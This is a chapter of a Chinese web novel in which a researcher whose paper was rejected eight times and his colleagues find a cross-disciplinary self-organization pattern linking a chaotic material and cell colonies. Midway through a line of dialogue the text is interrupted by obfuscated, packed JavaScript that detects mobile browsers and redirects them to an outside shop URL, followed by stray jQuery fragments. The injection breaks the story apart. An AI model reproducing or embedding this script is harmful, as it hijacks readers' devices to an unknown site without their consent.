当天晚上，林叙一个人坐在宿舍里。
面前是电脑屏幕上那篇被拒了八次的论文。
他盯着标题看了很久。然后他做了一件奇怪的事——把"混沌材料"的实验记录和被拒论文的数据放在了一起看。
碳基材料的应力响应。混沌材料的自组织行为。看起来毫无关系。
但如果——
他拿起笔，在纸上画线。
被拒论文的核心论点：低维碳基材料在特定应力下表现出异常力学行为。
混沌材料的核心特征：在特定条件下自发形成有序脉动结构。
"异常"和"自发有序"——这两个词，是不是在说同一件事？
他又画了一条线。
被拒论文中被审稿人批评的"数据异常"——那些偏离理论预测的实验数据点。
混沌材料中"无法用现有理论解释"的脉动行为。
"审稿人说我的数据是噪声。"林叙喃喃自语，"但如果那些不是噪声呢？"
他开始疯狂地写。
一个被拒了八次的研究者。一个搞出了混沌材料的半吊子实验者。如果这两个人是同一个人呢？
如果他的论文被拒，不是因为他做错了，而是因为他做了一个连他自己都没意识到的东西呢？
那些"异常数据"——可能是混沌材料的前兆现象。
他的论文不是在研究碳基材料的应力响应——他是在无意中发现了软物质自组织行为的碳基版本。
只不过他自己不知道。审稿人也不知道。因为没有人从这个角度看过。
"废材视角。"林叙忽然笑了。
所谓"废材视角"，就是那些"正确"的研究者不会用的视角。
正确的研究者用已有理论审视数据，不符合框架的就是"噪声"。
但废材不一样。废材没有框架。废材被拒了八次，已经被学术界判了死刑，什么都不怕。废材可以用一种全新的、混乱的、不讲究的方法论去看那些"异常"。
而废材看到的东西——可能是正确的研究者永远不会看到的。
第二天早上，林叙带着笔记本找到了苏晚。
苏晚正在给细胞拍照。她用仅有的设备搭出了一个勉强能用的显微成像系统——胶带、铁丝和一个手机支架。
"你看——这个结构，和你的细胞集落，像不像？"
苏晚接过笔记本。看了三秒。
她的表情从平静变成认真，从认真变成惊讶。
"混沌材料的脉动结构——和细胞集落的形成过程几乎一样？"
"嗯。一种非生物的化学材料，和一种生物的细胞行为，遵循同一种自组织规律。"
"你被拒了八次——原来是因为你做了一个跨学科的东西。"
"也可能只是在给自己找借口。"
"两种可能都有。但我愿意帮你验证。用我的细胞——如果混沌材料的脉动和细胞集落形成真的遵循同一种规律，那我改变培养条件时，应该能预测混沌材料在不同条件下的行为。"
"这得做多少组实验？"
"很多。"
"你做得了？"
苏晚看了他一眼："我养了六年细胞。你觉得我怕做实验吗？"
陈墨主动找上了门。
"你那个碳基材料的异常数据——确认过实验条件吗？温度、压力、纯度？"
"确认过。所有条件正常。异常就是异常。"
"那你有没有想过——异常不是你搞错了，而是你触发了一个你不懂的机制？"
全场安静。
"因为我第二篇SCI也是关于异常数据的。审稿人也说是噪声。"
一年三篇SCI的陈墨——也被拒过三次。
"改了。换了方法，重新处理数据，换了期刊。三次。每次都改到审稿人挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764356|209648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不出毛病为止。"
"所以你凌晨四点——"
"白天实验室排队。凌晨四点没人。"
林叙忽然明白了。陈墨不是什么"无感情科研机器"。他只是一个不会社交的笨蛋，用比别人多三倍的时间，去弥补他觉得不够好的自己。
那些凌晨四点的灯光，不是卷。是笨拙的努力。
接下来三天，四个人泡在实验室里。
陈墨负责数据处理。他的数学能力让林叙叹为观止——那些微分方程在他笔下像流水一样自然。
苏晚负责生物对照实验。每一步都有记录，每个数据点重复三次以上。
林叙负责混沌材料制备。他实验技能不如苏晚、数学不如陈墨，但他有一种天赋——直觉。他总能在别人看不到关联的地方看到关联。
第三天凌晨，他指着屏幕上的一组数据："你们看——混沌材料的脉动频率和细胞集落生长速率，在温度梯度上的响应曲线——"
"互补。"陈墨接话，"不是镜像对称，是互补。像DNA的两条链。"
"DNA双螺旋。"林叙喃喃，"一条链化学的，一条链生物的。合在一起才完整。"
温念念推门进来，手里端着一壶刚泡的茶。
"你们还没睡？"
"睡了。现在在做梦。"
她扫了一眼屏幕。
"你们在干什么？"
"在找一种跨学科的统一规律。"苏晚兴奋地说。
温念念看了看数据，又看了看三个人布满血丝的眼睛。
"……我去拿点夜宵。"
她出去时回头看了一眼——三个脑袋凑在一起对着屏幕指指点点。
她忽然想起了急诊科的深夜。值班室里，几个年轻医生凑在一起对着疑难病例讨论到天亮。
那种感觉，和现在很像。
"这帮人。"她轻声说，嘴角微微翘了一下。